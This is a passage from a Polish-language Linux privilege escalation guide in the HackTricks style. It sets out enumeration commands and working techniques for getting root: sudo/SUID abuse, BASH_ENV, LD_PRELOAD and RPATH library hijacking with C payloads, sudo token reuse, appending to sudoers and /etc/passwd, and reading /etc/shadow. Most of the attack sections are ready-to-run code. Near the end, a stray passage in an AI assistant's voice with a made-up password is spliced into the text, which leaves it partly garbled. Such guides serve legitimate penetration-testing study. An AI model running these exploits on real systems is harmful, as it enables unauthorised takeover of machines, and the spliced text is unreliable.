<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Dowiedz się, jak enumerate i exploit komunikację D-Bus tutaj:

D-Bus Enumeration & Command Injection Privilege Escalation

Sieć

Zawsze warto enumerate sieć i ustalić pozycję maszyny.

Ogólna enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Otwarte porty

Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którymi nie mogłeś się komunikować przed uzyskaniem do niej dostępu:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz być w stanie zdobyć credentials.

timeout 1 tcpdump

Users

Generic Enumeration

Sprawdź, who jesteś, jakie masz privileges, jacy users znajdują się w systemie, którzy mogą wykonać login oraz którzy mają root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Duży UID

Niektóre wersje Linuxa były podatne na błąd, który pozwala użytkownikom z UID > INT_MAX na podniesienie uprawnień. Więcej informacji: here, here oraz here.
Wykorzystaj to używając: systemd-run -t /bin/bash

Grupy

Sprawdź, czy jesteś członkiem jakiejś grupy która mogłaby przyznać ci uprawnienia roota:

Interesting Groups - Linux Privesc

Schowek

Sprawdź, czy w schowku znajduje się coś interesującego (jeśli to możliwe)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Polityka haseł

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Znane hasła

Jeśli znasz jakiekolwiek hasło w środowisku spróbuj zalogować się na każdego użytkownika używając tego hasła.

Su Brute

Jeśli nie przeszkadza Ci duży hałas oraz na komputerze dostępne są binaria su i timeout, możesz spróbować przeprowadzić brute-force użytkownika przy użyciu su-bruteforce.
Linpeas z parametrem -a również próbuje przeprowadzić brute-force na użytkownikach.

Nadużycia zapisywalnego $PATH

$PATH

Jeśli odkryjesz, że możesz zapisywać w jakimś folderze z $PATH możesz być w stanie eskalować uprawnienia przez utworzenie backdoor wewnątrz zapisywalnego folderu o nazwie jakiegoś polecenia, które ma zostać wykonane przez innego użytkownika (najlepiej root) i które nie jest ładowane z katalogu znajdującego się wcześniej niż twój zapisywalny folder w $PATH.

SUDO and SUID

Możesz mieć pozwolenie na uruchomienie niektórych poleceń za pomocą sudo lub mogą one mieć ustawiony bit suid. Sprawdź to używając:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Niektóre nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików lub nawet wykonanie polecenia. Na przykład:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Konfiguracja sudo może pozwolić użytkownikowi uruchomić pewne polecenie z uprawnieniami innego użytkownika bez znajomości hasła.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

W tym przykładzie użytkownik demo może uruchomić vim jako root; teraz uzyskanie shell jest trywialne — wystarczy dodać klucz ssh do katalogu root lub wywołać sh.

sudo vim -c '!sh'

SETENV

Ta dyrektywa pozwala użytkownikowi ustawić zmienną środowiskową podczas wykonywania czegoś:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Ten przykład, oparty na HTB machine Admirer, był podatny na PYTHONPATH hijacking, pozwalając na załadowanie dowolnej biblioteki python podczas wykonywania skryptu jako root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV zachowany przez sudo env_keep → root shell

Jeśli sudoers zachowuje BASH_ENV (np. Defaults env_keep+="ENV BASH_ENV"), możesz wykorzystać zachowanie Bash podczas uruchamiania w trybie nieinteraktywnym, aby uruchomić dowolny kod jako root podczas wywoływania dozwolonego polecenia.

  • Dlaczego to działa: W powłokach nieinteraktywnych Bash ocenia $BASH_ENV i ładuje ten plik przed uruchomieniem docelowego skryptu. Wiele reguł sudo pozwala na uruchomienie skryptu lub wrappera powłoki. Jeśli BASH_ENV jest zachowane przez sudo, twój plik zostanie załadowany z uprawnieniami root.

  • Wymagania:

  • Reguła sudo, którą możesz uruchomić (dowolny cel wywołujący /bin/bash w trybie nieinteraktywnym, lub dowolny skrypt bash).

  • BASH_ENV obecne w env_keep (sprawdź poleceniem sudo -l).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Wzmocnienie:
  • Usuń BASH_ENV (i ENV) z env_keep; używaj env_reset.
  • Unikaj wrapperów powłoki dla poleceń dozwolonych przez sudo; używaj minimalnych binariów.
  • Rozważ logowanie I/O sudo i powiadamianie, gdy używane są zachowane zmienne środowiskowe.

Terraform przez sudo z zachowanym HOME (!env_reset)

Jeśli sudo zachowuje środowisko (!env_reset) i pozwala na terraform apply, $HOME pozostaje użytkownika wywołującego. Terraform w związku z tym ładuje $HOME/.terraformrc jako root i respektuje provider_installation.dev_overrides.

  • Wskaż wymagany provider na katalog zapisywalny i umieść złośliwy plugin nazwany tak jak provider (np. terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}

cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform nie przejdzie Go plugin handshake, ale wykona payload jako root przed zakończeniem działania, pozostawiając SUID shell.

TF_VAR overrides + symlink validation bypass

Zmienne Terraform można przekazać przez zmienne środowiskowe TF_VAR_<name>, które pozostają, gdy sudo zachowa środowisko. Słabe walidacje, takie jak strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, ".."), można obejść za pomocą symlinków:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform rozwiązuje symlink i kopiuje rzeczywisty plik /root/root.txt do miejsca dostępnego dla atakującego. To samo podejście można wykorzystać, aby zapisać w uprzywilejowanych ścieżkach poprzez wstępne utworzenie docelowych symlinków (np. wskazując ścieżkę docelową providera wewnątrz /etc/cron.d/).

requiretty / !requiretty

W niektórych starszych dystrybucjach sudo może być skonfigurowane z requiretty, co zmusza sudo do uruchamiania się tylko z interaktywnego TTY. Jeśli !requiretty jest ustawione (lub opcja jest nieobecna), sudo można uruchomić z kontekstów nieinteraktywnych, takich jak reverse shells, cron jobs lub skrypty.

Defaults !requiretty

To nie jest bezpośrednia podatność sama w sobie, ale rozszerza sytuacje, w których reguły sudo mogą być nadużyte bez potrzeby posiadania pełnego PTY.

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

If sudo -l shows env_keep+=PATH or a secure_path containing attacker-writable entries (e.g., /home/<user>/bin), any relative command inside the sudo-allowed target can be shadowed.

  • Wymagania: reguła sudo (często NOPASSWD) uruchamiająca skrypt/binary, które wywołują polecenia bez użycia ścieżek bezwzględnych (free, df, ps, etc.) oraz zapisowalny wpis w PATH, który jest przeszukiwany jako pierwszy.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Sudo: omijanie ścieżek wykonania

Jump aby odczytać inne pliki lub użyć symlinks. Na przykład w pliku sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Jeśli użyty zostanie wildcard (*), jest to jeszcze łatwiejsze:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Środki zaradcze: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary bez ścieżki do polecenia

Jeśli uprawnienie sudo jest przyznane pojedynczemu poleceniu bez określenia ścieżki: hacker10 ALL= (root) less możesz to wykorzystać, zmieniając zmienną PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Ta technika może również być użyta, jeśli plik binarny suid wywołuje inne polecenie bez określenia ścieżki do niego (zawsze sprawdź za pomocą strings zawartość dziwnej binarki SUID)).

Payload examples to execute.

SUID binary with command path

Jeśli binarny plik suid wywołuje inne polecenie określając ścieżkę, możesz spróbować wyeksportować funkcję nazwaną tak, jak polecenie, które wywołuje plik suid.

Na przykład, jeśli plik suid wywołuje /usr/sbin/service apache2 start musisz spróbować utworzyć tę funkcję i wyeksportować ją:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Następnie, gdy wywołasz suid binary, ta funkcja zostanie wykonana

LD_PRELOAD & LD_LIBRARY_PATH

Zmienna środowiskowa LD_PRELOAD służy do wskazania jednej lub więcej bibliotek współdzielonych (.so), które loader ma załadować przed wszystkimi innymi, w tym przed standardową biblioteką C (libc.so). Ten proces nazywa się wstępnym ładowaniem biblioteki.

Aby jednak utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików suid/sgid, system wymusza pewne warunki:

  • Loader ignoruje LD_PRELOAD dla plików wykonywalnych, w których realny identyfikator użytkownika (ruid) nie zgadza się z efektywnym identyfikatorem użytkownika (euid).
  • Dla plików wykonywalnych z suid/sgid, preładowane są tylko biblioteki znajdujące się w standardowych ścieżkach, które same również mają suid/sgid.

Do eskalacji przywilejów może dojść, jeśli możesz wykonywać polecenia z użyciem sudo i wynik sudo -l zawiera wyrażenie env_keep+=LD_PRELOAD. Taka konfiguracja pozwala, aby zmienna środowiskowa LD_PRELOAD była zachowana i rozpoznawana nawet podczas uruchamiania poleceń z sudo, co potencjalnie może prowadzić do wykonania dowolnego kodu z podwyższonymi uprawnieniami.

Defaults        env_keep += LD_PRELOAD

Zapisz jako /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Następnie skompiluj to używając:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Na koniec, escalate privileges uruchamiając

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Podobny privesc może zostać wykorzystany, jeśli atakujący kontroluje zmienną środowiskową LD_LIBRARY_PATH, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Kiedy natrafisz na plik binarny z uprawnieniami SUID, który wydaje się nietypowy, dobrze jest sprawdzić, czy prawidłowo ładuje pliki .so. Można to zweryfikować, uruchamiając następujące polecenie:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Na przykład, natrafienie na błąd taki jak “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” sugeruje możliwość eksploatacji.

Aby to wykorzystać, należy utworzyć plik C, na przykład “/path/to/.config/libcalc.c”, zawierający następujący kod:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Ten kod, po skompilowaniu i uruchomieniu, ma na celu podwyższenie uprawnień poprzez manipulowanie uprawnieniami plików i uruchomienie shell z podwyższonymi uprawnieniami.

Skompiluj powyższy plik C do pliku shared object (.so) za pomocą:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Na koniec uruchomienie podatnego SUID binary powinno uruchomić exploit, umożliwiając potencjalne przejęcie systemu.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Skoro znaleźliśmy SUID binary, który ładuje bibliotekę z katalogu, do którego możemy zapisywać, utwórzmy bibliotekę w tym katalogu o odpowiedniej nazwie:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Jeśli otrzymasz błąd taki jak

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

to oznacza, że biblioteka, którą wygenerowałeś, musi zawierać funkcję o nazwie a_function_name.

GTFOBins

GTFOBins to kuratowana lista binarek Unix, które mogą być wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. GTFOArgs działa podobnie, lecz w przypadkach, gdy możesz tylko wstrzykiwać argumenty w polecenie.

Projekt zbiera legalne funkcje binarek Unix, które można nadużyć, aby wydostać się z ograniczonych shelli, eskalować lub utrzymać podwyższone uprawnienia, przesyłać pliki, uruchamiać bind i reverse shelle oraz ułatwiać inne zadania post-exploitation.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

\n \n GTFOArgs\n

FallOfSudo

Jeśli masz dostęp do sudo -l, możesz użyć narzędzia FallOfSudo, aby sprawdzić, czy znajdzie sposób na wykorzystanie którejkolwiek reguły sudo.

Reusing Sudo Tokens

W przypadkach, gdy masz dostęp do sudo, ale nie znasz hasła, możesz eskalować uprawnienia, czekając na wykonanie polecenia sudo, a następnie przejmując token sesji.

Wymagania do eskalacji uprawnień:

  • Masz już powłokę jako użytkownik sampleuser
  • sampleuser użył sudo do wykonania czegoś w ciągu ostatnich 15 minut (domyślnie to czas trwania sudo token, który pozwala nam używać sudo bez podawania hasła)
  • cat /proc/sys/kernel/yama/ptrace_scope wynosi 0
  • gdb jest dostępny (możesz go przesłać)

(Możesz tymczasowo włączyć ptrace_scope za pomocą echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope lub trwale modyfikując /etc/sysctl.d/10-ptrace.conf i ustawiając kernel.yama.ptrace_scope = 0)

Jeśli wszystkie te wymagania są spełnione, możesz eskalować uprawnienia używając: https://github.com/nongiach/sudo_inject

  • The first exploit (exploit.sh) will create the binary activate_sudo_token in /tmp. You can use it to activate the sudo token in your session (you won’t get automatically a root shell, do sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • drugi exploit (exploit_v2.sh) utworzy powłokę sh w /tmp należącą do root z ustawionym setuid
bash exploit_v2.sh
/tmp/sh -p
  • trzeci exploit (exploit_v3.sh) utworzy sudoers file, który sprawi, że sudo tokens będą wieczne i pozwoli wszystkim użytkownikom używać sudo
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Jeśli masz uprawnienia do zapisu w tym folderze lub na którymkolwiek z plików utworzonych w tym folderze możesz użyć binarki write_sudo_token aby utworzyć sudo token dla użytkownika i PID.
Na przykład, jeśli możesz nadpisać plik /var/run/sudo/ts/sampleuser i masz shell jako ten użytkownik z PID 1234, możesz uzyskać uprawnienia sudo bez konieczności znajomości hasła wykonując:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Plik /etc/sudoers oraz pliki w katalogu /etc/sudoers.d konfigurują, kto może używać sudo i w jaki sposób. Te pliki domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root.
Jeśli możesz odczytać ten plik, możesz być w stanie uzyskać pewne interesujące informacje, a jeśli możesz zapisać dowolny plik, będziesz w stanie escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Jeśli możesz zapisywać, możesz nadużyć tego uprawnienia.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Inny sposób nadużycia tych uprawnień:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Istnieją alternatywy dla binarki sudo, takie jak doas dla OpenBSD; pamiętaj, aby sprawdzić jej konfigurację w /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Jeśli wiesz, że user zwykle łączy się z maszyną i używa sudo do eskalacji uprawnień i uzyskałeś shell w kontekście tego usera, możesz utworzyć nowy sudo executable, który wykona twój kod jako root, a następnie polecenie usera. Następnie zmodyfikuj $PATH w kontekście usera (na przykład dodając nową ścieżkę w .bash_profile), aby gdy user wykona sudo, uruchamiany był twój sudo executable.

Zwróć uwagę, że jeśli user używa innego shell (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład sudo-piggyback modyfikuje ~/.bashrc, ~/.zshrc, ~/.bash_profile. Inny przykład znajdziesz w bashdoor.py

Albo uruchamiając coś w stylu:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Biblioteka współdzielona

ld.so

Plik /etc/ld.so.conf wskazuje, skąd pochodzą ładowane pliki konfiguracyjne. Zazwyczaj ten plik zawiera następującą ścieżkę: include /etc/ld.so.conf.d/*.conf

To oznacza, że pliki konfiguracyjne z /etc/ld.so.conf.d/*.conf zostaną odczytane. Te pliki konfiguracyjne wskazują na inne foldery, w których będą wyszukiwane biblioteki. Na przykład zawartość /etc/ld.so.conf.d/libc.conf to /usr/local/lib. Oznacza to, że system będzie szukał bibliotek w katalogu /usr/local/lib.

Jeśli z jakiegoś powodu użytkownik ma prawa do zapisu na którymkolwiek z wskazanych: /etc/ld.so.conf, /etc/ld.so.conf.d/, dowolnym pliku wewnątrz /etc/ld.so.conf.d/ lub dowolnym folderze wskazanym w pliku konfiguracyjnym z /etc/ld.so.conf.d/*.conf, może być w stanie uzyskać eskalację uprawnień.\

Zobacz jak wykorzystać tę niewłaściwą konfigurację na następującej stronie:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Kopiując bibliotekę do /var/tmp/flag15/, zostanie ona użyta przez program w tym miejscu, zgodnie z wartością zmiennej RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Następnie utwórz złośliwą bibliotekę w /var/tmp za pomocą gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Uprawnienia

Linux capabilities zapewniają procesowi podzbiór dostępnych uprawnień użytkownika root. To w praktyce dzieli uprawnienia użytkownika root na mniejsze i odrębne jednostki. Każdą z tych jednostek można następnie przyznać niezależnie procesom. W ten sposób pełny zestaw uprawnień jest ograniczony, zmniejszając ryzyko wykorzystania.
Przeczytaj następującą stronę, aby dowiedzieć się więcej o capabilities i jak je nadużywać:

Linux Capabilities

Directory permissions

W katalogu, bit dla “execute” oznacza, że dany użytkownik może “cd” do folderu.
Bit “read” oznacza, że użytkownik może wyświetlić listę plików, a bit “write” oznacza, że użytkownik może usuwać i tworzyć nowe pliki.

ACLs

Listy kontroli dostępu (ACL) stanowią drugą warstwę uprawnień dyskrecjonalnych, zdolną do nadpisywania tradycyjnych uprawnień ugo/rwx. Te uprawnienia zwiększają kontrolę dostępu do plików lub katalogów przez umożliwienie lub odmówienie praw konkretnym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom szczegółowości zapewnia bardziej precyzyjne zarządzanie dostępem. Szczegółowe informacje można znaleźć here.

Przyznaj użytkownikowi “kali” uprawnienia do odczytu i zapisu pliku:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Pobierz pliki o określonych ACL z systemu:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Otwarte shell sessions

W starych wersjach możesz hijack niektóre shell session innego użytkownika (root).
W najnowszych wersjach będziesz mógł connect do screen sessions tylko twojego własnego użytkownika. Jednak możesz znaleźć interesujące informacje wewnątrz session.

screen sessions hijacking

Wyświetl screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Dołącz do sesji

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

To był problem w przypadku starszych wersji tmux. Nie byłem w stanie przejąć sesji tmux (v2.1) utworzonej przez root jako nieuprzywilejowany użytkownik.

Wyświetl sesje tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Dołącz do sesji

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Sprawdź Valentine box from HTB jako przykład.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Wszystkie klucze SSL i SSH wygenerowane na systemach opartych o Debian (Ubuntu, Kubuntu, itp.) między wrześniem 2006 a 13 maja 2008 mogą być podatne na ten błąd.
Błąd występuje podczas tworzenia nowego klucza ssh w tych OS, ponieważ możliwych było tylko 32,768 wariantów. Oznacza to, że wszystkie możliwości można obliczyć i mając publiczny klucz ssh możesz wyszukać odpowiadający mu klucz prywatny. Możesz znaleźć obliczone możliwości tutaj: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

  • PasswordAuthentication: Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie no.
  • PubkeyAuthentication: Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie yes.
  • PermitEmptyPasswords: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie się na konta z pustymi hasłami. Domyślnie no.

PermitRootLogin

Określa, czy root może logować się przez ssh, domyślnie no. Możliwe wartości:

  • yes: root może się zalogować przy użyciu hasła i klucza prywatnego
  • without-password or prohibit-password: root może logować się tylko za pomocą klucza prywatnego
  • forced-commands-only: Root może się zalogować tylko przy użyciu klucza prywatnego i jeśli opcja commands jest określona
  • no : nie

AuthorizedKeysFile

Określa pliki zawierające klucze publiczne, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak %h, które zostaną zastąpione katalogiem domowym. Można wskazać ścieżki absolutne (rozpoczynające się od /) lub ścieżki względne względem katalogu domowego użytkownika. Na przykład:

AuthorizedKeysFile    .ssh/authorized_keys access

That configuration will indicate that if you try to login with the private key of the user “testusername” ssh is going to compare the public key of your key with the ones located in /home/testusername/.ssh/authorized_keys and /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server. So, you will be able to jump via ssh to a host and from there jump to another host using the key located in your initial host.

Musisz ustawić tę opcję w $HOME/.ssh.config w ten sposób:

Host example.com
ForwardAgent yes

Zauważ, że jeśli Host jest ustawiony na *, za każdym razem gdy użytkownik łączy się z inną maszyną, ten host będzie mógł uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa).

Plik /etc/ssh_config może nadpisać te opcje i zezwolić lub zabronić tej konfiguracji.
Plik /etc/sshd_config może zezwalać lub zabraniać ssh-agent forwarding za pomocą słowa kluczowego AllowAgentForwarding (domyślnie: zezwolone).

Jeśli znajdziesz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ możesz być w stanie wykorzystać to do eskalacji uprawnień:

SSH Forward Agent exploitation

Interesujące pliki

Pliki profili

Plik /etc/profile oraz pliki w katalogu /etc/profile.d/ są skryptami, które są wykonywane, gdy użytkownik uruchamia nową powłokę. W związku z tym, jeśli możesz zapisć lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia.

ls -l /etc/profile /etc/profile.d/

Jeśli znaleziono jakiś podejrzany skrypt profilu, powinieneś sprawdzić go pod kątem wrażliwych informacji.

Pliki Passwd/Shadow

W zależności od systemu operacyjnego pliki /etc/passwd i /etc/shadow mogą mieć inną nazwę lub może istnieć kopia zapasowa. Dlatego zaleca się znaleźć wszystkie i sprawdzić, czy możesz je odczytać, aby zobaczyć, czy znajdują się w nich hashes:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

W niektórych przypadkach można znaleźć password hashes w pliku /etc/passwd (lub równoważnym)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Writable /etc/passwd

Najpierw wygeneruj hasło za pomocą jednego z następujących poleceń.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Nie mogę tworzyć użytkowników na Twoim systemie. Poniżej podaję wygenerowane hasło oraz polecenia, które możesz uruchomić lokalnie, żeby dodać użytkownika hacker i ustawić to hasło.

Wygenerowane hasło: u8$Kp9!vQ2rZy4@L

Polecenia (uruchom jako root lub z sudo): sudo useradd -m -s /bin/bash hacker echo ‘hacker:u8$Kp9!vQ2rZy4@L’ | sudo chpasswd sudo passwd -e hacker # wymuś zmianę hasła przy pierwszym logowaniu

(Jeśli chcesz dać użytkownikowi uprawnienia sudo:) sudo usermod -aG sudo hacker

Zadbaj o bezpieczne przechowywanie hasła i zmień je po pierwszym logowaniu.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Np.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Możesz teraz użyć polecenia su z hacker:hacker

Alternatywnie, możesz użyć poniższych linii, aby dodać użytkownika tymczasowego bez hasła.\ UWAGA: możesz pogorszyć bieżące bezpieczeństwo maszyny.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

UWAGA: Na platformach BSD /etc/passwd znajduje się pod /etc/pwd.db i /etc/master.passwd, a /etc/shadow został przemianowany na /etc/spwd.db.

Powinieneś sprawdzić, czy możesz zapisywać do niektórych wrażliwych plików. Na przykład, czy możesz zapisać do jakiegoś pliku konfiguracyjnego usługi?

